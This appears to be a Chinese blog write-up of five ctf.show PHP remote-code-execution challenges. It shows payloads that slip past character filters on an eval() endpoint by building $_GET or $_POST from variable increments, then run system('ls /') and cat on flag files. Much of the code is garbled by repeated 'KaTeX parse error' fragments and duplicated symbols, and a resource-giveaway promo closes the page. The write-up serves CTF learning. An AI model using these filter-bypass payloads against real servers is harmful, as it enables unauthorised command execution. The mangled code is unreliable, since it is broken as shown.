ctfshow每周大挑战之RCE极限挑战

1、ctf.show每周大挑战之RCE极限挑战

php的eval()解释:

eval() 函数把字符串按照 PHP 代码来计算。

该字符串必须是合法的 PHP 代码,且必须以分号结尾。

return 语句会立即终止对字符串的计算。

返回值:除非在代码字符串中调用 return 语句,则返回传给 return 语句的值,否则返回 NULL。如果代码字符串中存在解析错误,则 eval()
函数返回 FALSE。

2、RCE挑战1

如下图所示,POST传参时,参数名为code,后台对 “(”、“.” 做了替换。

如何才能查找到想要的flag呢?执行远程命令使用 system(‘ls /’); 或使用反引号 ls /;

如上图所示,使用post的code参数传参时,echo ls /,显示出系统命令执行的结果,看到有个f1agaaa文件,看似是flag文件,再查看该文件内容 echo cat /f1agaaa,这里也可以使用通配符进行内容查看 echo cat /f* ,获取到flag,如下图所示:

3、RCE挑战2

如下图所示,POST传参时,参数名为ctf_show,后台对参数值做了正则匹配。

先确认哪些字符可传入。


​ <?php ​ for ($i=32;$i<127;$i++){ ​ if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>“|`~\\]/”,chr(KaTeX parse error: Expected '}', got 'EOF' at end of input: … echo chr(i)." ";
​ }
​ }


​ //post可传入的字符如下:
​ // ! $ ’ ( ) + , . / ; = [ ] _

从题目可以看出post传参被正则限制的厉害,想办法再同时进行get传参。使用数组绕过,获取数组名的第一个字符A,通过变量自增,组装$GET[],以便达到get传参,执行远程命令。


= [ ] . ; / / _=[]._; // =[].;//变量,[]默认表示数组名Array,. 表示数组名Array拼接上字符’
​ var_dump($
); //输出变量内容为:“Array_”
KaTeX parse error: Expected group after '_' at position 1: _̲_=[‘!’==‘,’]; //里面判断结果为false,即 [ 0 ] ,即取字符串 " A r r a y " [ 0 ] 下标为 0 的字母,即 " A " ,赋值给变量 _[0],即取字符串"Array_"[0] 下标为0的字母,即"A",赋值给变量 [0],即取字符串"Array"[0]下标为0的字母,即"A",赋值给变量__
KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++; //变量自增,值为B、C、D
KaTeX parse error: Expected group after '_' at position 1: _̲__=++
; //KaTeX parse error: Expected group after '_' at position 1: _̲__变量赋值为E,变量当前值为E
​ ++KaTeX parse error: Expected group after '_' at position 1: _̲_; …变量值自增,当前值为F
KaTeX parse error: Expected group after '_' at position 1: _̲__=++
.KaTeX parse error: Expected group after '_' at position 1: _̲__; //变量值自增,当前值为"G",拼接变量KaTeX parse error: Expected group after '_' at position 1: _̲__的值"E"后,再赋值给变量
,其值为 “GE”
​ ++KaTeX parse error: Expected group after '_' at position 1: _̲_;++
;++KaTeX parse error: Expected group after '_' at position 1: _̲_;++
;++KaTeX parse error: Expected group after '_' at position 1: _̲_;++;++KaTeX parse error: Expected group after '_' at position 1: _̲_;++;++KaTeX parse error: Expected group after '_' at position 1: _̲_;++;++KaTeX parse error: Expected group after '_' at position 1: _̲_;++; //$变量自增,值为H、I、J、K、L、M、N、O、P、Q、R、S
KaTeX parse error: Expected group after '_' at position 1: _̲__=
.++KaTeX parse error: Expected group after '_' at position 1: _̲_; //__变量值自增,当前值为T,KaTeX parse error: Expected group after '_' at position 1: _̲__变量的值"GE"拼接"T"…变量,其值为"GET"
KaTeX parse error: Double subscript at position 4: _='_̲'.
; //'
'拼接KaTeX parse error: Expected group after '_' at position 1: _̲__变量的值"GET",后再赋…变量,其值为"GET"
KaTeX parse error: Double subscript at position 3: _[_̲](
[]); //即组装出 G E T [ ] ( _GET[_]( GET[](_GET[]),以便get传参,参数名为_和
_,如_参数传参为system,__参数传参为ls /,即get传参后拼接出system(‘ls /’)命令,以便eval去执行


​ //post传参
​ ctf_show= = [ ] . ; _=[]._; =[].;= [ ′ ! ′ = = ′ , ′ ] ; _['!'==',']; [!==,];++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲__=++;++KaTeX parse error: Expected group after '_' at position 1: _̲_;=++KaTeX parse error: Expected group after '_' at position 1: _̲_.;++KaTeX parse error: Expected group after '_' at position 1: _̲_;++;++KaTeX parse error: Expected group after '_' at position 1: _̲_;++;++KaTeX parse error: Expected group after '_' at position 1: _̲_;++;++KaTeX parse error: Expected group after '_' at position 1: _̲_;++;++KaTeX parse error: Expected group after '_' at position 1: _̲_;++;++KaTeX parse error: Expected group after '_' at position 1: _̲_;++;KaTeX parse error: Expected group after '_' at position 1: _̲__=.++KaTeX parse error: Expected group after '_' at position 1: _̲_;=''.KaTeX parse error: Expected group after '_' at position 1: _̲__;KaTeX parse error: Double subscript at position 3: _[_̲]($[]);

//get传参
?_=system&
=ls /

如下图所示,拼装了一个 G E T [ ] ( _GET[_]( GET[](_GET[__]);组合,传递2个参数来达到执行 system(‘ls
/’);的目的(尝试只传递一个参数$GET[]接收 system(“ls /”)参数,访问时没什么反应,没想明白为何不行…)。

如上图所示,get参数_传system值,参数__传ls
/值,可以查看到根目录有个f1agaaa文件,貌似是flag文件,如下图所示,参数_传system,参数__传cat /f1agaaa,打开得到falg。


​ //post传参
​ ctf_show= = [ ] . ; _=[]._; =[].;= [ ′ ! ′ = = ′ , ′ ] ; _['!'==',']; [!==,];++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲__=++;++KaTeX parse error: Expected group after '_' at position 1: _̲_;=++KaTeX parse error: Expected group after '_' at position 1: _̲_.;++KaTeX parse error: Expected group after '_' at position 1: _̲_;++;++KaTeX parse error: Expected group after '_' at position 1: _̲_;++;++KaTeX parse error: Expected group after '_' at position 1: _̲_;++;++KaTeX parse error: Expected group after '_' at position 1: _̲_;++;++KaTeX parse error: Expected group after '_' at position 1: _̲_;++;++KaTeX parse error: Expected group after '_' at position 1: _̲_;++;KaTeX parse error: Expected group after '_' at position 1: _̲__=.++KaTeX parse error: Expected group after '_' at position 1: _̲_;=''.KaTeX parse error: Expected group after '_' at position 1: _̲__;KaTeX parse error: Double subscript at position 3: _[_̲]($[]);

//get传参
?_=system&
=cat /f1agaaa

//或get传参
?_=system&__=cat /f*

4、RCE挑战3

如下图所示,POST传参时,参数名为ctf_show,后台对参数值做了正则匹配。

先确认哪些字符可传入。


​ for ( i = 32 ; i=32; i=32;i<127;KaTeX parse error: Expected '}', got '#' at position 51: …"/[a-zA-Z2-9!'@#̲%^&*:{}\-<\?>\"…i))){
​ echo chr($i)." ";
​ }
​ }

//post可传入的字符如下
// 0 $ 1 ( ) + , . / ; = [ ] _

从题目可以看出post传参被正则限制的厉害,想着同时进行get传参,但是限制了post参数长度(<=105)。使非数字绕过,_/_非法运算时返回NAN,通过变量自增,组装$POST[],以便达到post传参,执行远程命令。

注意:之前好奇为啥 $d1 =
‘ab’.‘cd’[0],输出值为"abc",这里涉及到运算优先级问题,‘cd’[0]的值为"c",再和前面的’ab’拼接后,即"abc"。


KaTeX parse error: Double subscript at position 6: _=(_/_̲._)[0]; //变量的值为"NAN"[0]的值,即值为"N"
0 = + + _0=++ 0=++_; // 变 量自增后,值为 " O " , 且再赋值给变量 _变量自增后,值为"O",且再赋值给变量 量自增后,值为"O",且再赋值给变量0,且其值为"O"
0 = + + _0=++ 0=++
. 0 ; / / _0; // 0;//_变量增增后,值为"P",再拼接变量 0 的值 " O " , 再赋值给变量 _0的值"O",再赋值给变量 0的值"O",再赋值给变量0,即值为"PO"
​ ++ ; + + _;++ ;++
; //$变量增增后,值为"Q"、“R”
0 . = + + _0.=++ 0.=++
; //变量 0 变量的值为 " P O " , 再拼接 _0变量的值为"PO",再拼接 0变量的值为"PO",再拼接_变量增增后的值"S",再赋值给变量$0,即值为"POS"
0 . = + + _0.=++ 0.=++
; //变量 0 变量的值为 " P O S " , 再拼接 _0变量的值为"POS",再拼接 0变量的值为"POS",再拼接_变量增增后的值"T",再赋值给变量$_0,即值为"POST"
KaTeX parse error: Double subscript at position 3: _=_̲._0; //变量 重 新赋值为 " " 拼接变量 _重新赋值为"_"拼接变量 新赋值为""拼接变量_0的值"POST",即值为"POST"
[ 0 ] ( _[0]( [0](
[1]); //替换$_0变量的值"_POST"后,即组装出 P O S T [ 0 ] ( _POST[0]( POST[0](_POST[1]),以便post传参,参数名为0和1,如0参数传参为system,1参数传参为ls /,即post传参后拼接出system(‘ls /’)命令,以便eval去执行。


​ //post传参
​ ctf_show=KaTeX parse error: Double subscript at position 6: _=(_/_̲._)[0];0=++ ; _; ;0=++ . _. .0;++ ; + + _;++ ;++; 0 . = + + _0.=++ 0.=++; 0 . = + + _0.=++ 0.=++;KaTeX parse error: Double subscript at position 3: _=_̲.0; [ 0 ] ( _[0]( [0]([1]);&0=system&1=ls /

如下图所示,拼装了一个 P O S T [ 0 ] ( _POST[0]( POST[0](_POST[1]);组合,传递2个参数来达到执行 system(‘ls
/’);的目的(尝试只传递一个参数$_POST[0]接收 system(“ls /”)参数,访问时没什么反应,没想明白为何不行…)。

如上图所示,post参数0传system值,参数1传ls
/值,可以查看到根目录有个f1agaaa文件,貌似是flag文件,如下图所示,参数0传system,参数1传cat /f*,打开得到falg。


​ //post传参
​ ctf_show=KaTeX parse error: Double subscript at position 6: _=(_/_̲._)[0];0=++ ; _; ;0=++ . _. .0;++ ; + + _;++ ;++; 0 . = + + _0.=++ 0.=++; 0 . = + + _0.=++ 0.=++;KaTeX parse error: Double subscript at position 3: _=_̲.0; [ 0 ] ( _[0]( [0]([1]);&0=system&1=cat /f*

疑问:post的参数再进行post传参不被正则过滤掉!?

同理,也可以尝试使用该方法查找RCE挑战2的flag。


​ //post传参
​ ctf_show=KaTeX parse error: Double subscript at position 6: _=(_/_̲._)['!'==','];=++ ; _; ;=++ . _. .;++ ; + + _;++ ;++;KaTeX parse error: Expected group after '_' at position 1: _̲_.=++;KaTeX parse error: Expected group after '_' at position 1: _̲_.=++_;KaTeX parse error: Double subscript at position 3: _=_̲.;KaTeX parse error: Double subscript at position 3: _[_̲]([__]);&=system&__=cat /f*

5、RCE挑战4

如下图所示,POST传参时,参数名为ctf_show,后台对参数值做了正则匹配。

先确认哪些字符可传入。


​ for ( i = 32 ; i=32; i=32;i<127;KaTeX parse error: Expected '}', got '#' at position 47: …"/[a-zA-Z1-9!'@#̲%^&*:{}\-<\?>\"…i))){
​ echo chr($i)." ";
​ }
​ }

//post可传入的字符如下
// $ ( ) + , . / 0 ; = [ ] _

从题目可以看出post传参被正则限制的厉害,想着同时进行get传参,但是限制了post参数长度(<=85)。使非数字绕过,_/_非法运算时返回NAN,通过变量自增,组装$POST[],以便达到post传参,执行远程命令。

注意:KaTeX parse error: Expected group after '_' at position 1: _̲_=. + + (这里涉及 3 个运算符, = 、 . 、 + + ,其中 + + 运算符优先级最高, _++(这里涉及3个运算符,= 、 . 、 ++,其中++运算符优先级最高, ++(这里涉及3个运算符,=.++,其中++运算符优先级最高,++运算后, 变 量的值为 " P " ,其中 . _变量的值为"P",其中 . 量的值为"P",其中._++,表示拼接变量$_自增前的值"O")


KaTeX parse error: Double subscript at position 6: _=(_/_̲._)[0]; //变量的值为"NAN"[0],即值为"N"
​ ++ ; / / 变量 _; //变量 ;//变量的值自增后,值为"O"
KaTeX parse error: Expected group after '_' at position 1: _̲_=
. + + ; / / 变量 _++; //变量 ++;//变量的值自增后,值为"P",再拼接变量 自 增前的值 " O " ,再赋值给变量 _自增前的值"O",再赋值给变量 增前的值"O",再赋值给变量__,其值为"PO"
​ ++ ; + + _;++ ;++
;++ ; / / 变量 _; //变量 ;//变量的值自增后,值为"Q"、“R”、“S”
KaTeX parse error: Expected group after '_' at position 1: _̲_.=
++. ; / / 变量 _; //变量 ;//变量的值为"S",再拼接自增后的值"T",再拼接到变量KaTeX parse error: Expected group after '_' at position 1: _̲_(值为"PO")的后面,最后…,即值为"POST"
KaTeX parse error: Double subscript at position 3: _=_̲.
; //"
“拼接值为"POST"的变量KaTeX parse error: Expected group after '_' at position 1: _̲_,再赋值给变量_,即值为"POST"
KaTeX parse error: Double subscript at position 3: _[_̲](
[0]); 替换$_变量的值”_POST"后,即组装出 P O S T [ ] ( _POST[_]( POST[](_POST[0]),以便post传参,参数名为_和0,如_参数传参为system,0参数传参为ls /,即post传参后拼接出system(‘ls /’)命令,以便eval去执行


​ //post传参
​ ctf_show=KaTeX parse error: Double subscript at position 6: _=(_/_̲._)[0];++;KaTeX parse error: Expected group after '_' at position 1: _̲_=. + + ; + + _++;++ ++;++;++ ; + + _;++ ;++;KaTeX parse error: Expected group after '_' at position 1: _̲_.=++. ; _; ;=.KaTeX parse error: Expected group after '_' at position 1: _̲_;KaTeX parse error: Double subscript at position 3: _[_̲]($[0]);&_=system&0=ls /

如下图所示,拼装了一个 P O S T [ ] ( _POST[_]( POST[](_POST[0]);组合,传递2个参数来达到执行 system(‘ls
/’);的目的(尝试只传递一个参数$POST[]接收 system(“ls /”)参数,访问时没什么反应,没想明白为何不行…)。

如上图所示,post参数_传system值,参数0传ls
/值,可以查看到根目录有个f1agaaa文件,貌似是flag文件,如下图所示,参数_传system,参数0传cat /f*,打开得到falg。


​ //post传参
​ ctf_show=KaTeX parse error: Double subscript at position 6: _=(_/_̲._)[0];++;KaTeX parse error: Expected group after '_' at position 1: _̲_=. + + ; + + _++;++ ++;++;++ ; + + _;++ ;++;KaTeX parse error: Expected group after '_' at position 1: _̲_.=++. ; _; ;=.KaTeX parse error: Expected group after '_' at position 1: _̲_;KaTeX parse error: Double subscript at position 3: _[_̲]($[0]);&_=system&0=cat /f*

6、RCE挑战5

如下图所示,POST传参时,参数名为ctf_show,后台对参数值做了正则匹配。

先确认哪些字符可传入。


​ for ( i = 32 ; i=32; i=32;i<127;KaTeX parse error: Expected '}', got '#' at position 47: …"/[a-zA-Z0-9!'@#̲%^&*:{}\-<\?>\"…i))){
​ echo chr($i)." ";
​ }
​ }

//post可传入的字符如下
// $ ( ) + , . / ; = [ ] _

字符长度如何再减少呢?直接将_POST当做post参数的参数名。


KaTeX parse error: Double subscript at position 6: _=(_/_̲._)[_]; …的值为"NAN"[0],即值为"N"
​ ++ ; / / 变量 _; //变量 ;//变量的值自增后,值为"O"
KaTeX parse error: Expected group after '_' at position 1: _̲_=
. + + ; / / 变量 _++; //变量 ++;//变量的值自增后,值为"P",再拼接变量 自 增前的值 " O " ,再赋值给变量 _自增前的值"O",再赋值给变量 增前的值"O",再赋值给变量__,其值为"PO"
​ ++ ; + + _;++ ;++
; //变量$的值自增后,值为"Q"、“R”
KaTeX parse error: Can't use function '$' in math mode at position 3: _[$̲_=_.$__.++$_.++…
[]); //变量 的 值自增后,值为 " S " 、 " T " , 并将其拼接到一起 " S T " , 再拼接到 _的值自增后,值为"S"、"T",并将其拼接到一起"ST",再拼接到 值自增后,值为"S""T",并将其拼接到一起"ST",再拼接到__变量(值为"PO")之后,即值为"POST",
​ //在再前面拼接"
“,即值为”_POST",并赋值给 变 量,再组装成 _变量,再组装成 量,再组装成_POST


​ //post传参
​ ctf_show=KaTeX parse error: Double subscript at position 6: _=(_/_̲._)[_];++;KaTeX parse error: Expected group after '_' at position 1: _̲_=. + + ; + + _++;++ ++;++;++ ; _; ; [ _[ [=.KaTeX parse error: Expected group after '_' at position 1: _̲_.++.++ ] ( _]( ]($[]);

最后

从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。

因为入门学习阶段知识点比较杂,所以我讲得比较笼统,大家如果有不懂的地方可以找我咨询,我保证知无不言言无不尽,需要相关资料也可以找我要,我的网盘里一大堆资料都在吃灰呢。

干货主要有:

①1000+CTF历届题库(主流和经典的应该都有了)

②CTF技术文档(最全中文版)

③项目源码(四五十个有趣且经典的练手项目及源码)

④ CTF大赛、web安全、渗透测试方面的视频(适合小白学习)

⑤ 网络安全学习路线图(告别不入流的学习)

⑥ CTF/渗透测试工具镜像文件大全

⑦ 2023密码学/隐身术/PWN技术手册大全

扫码领取

  • 27
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值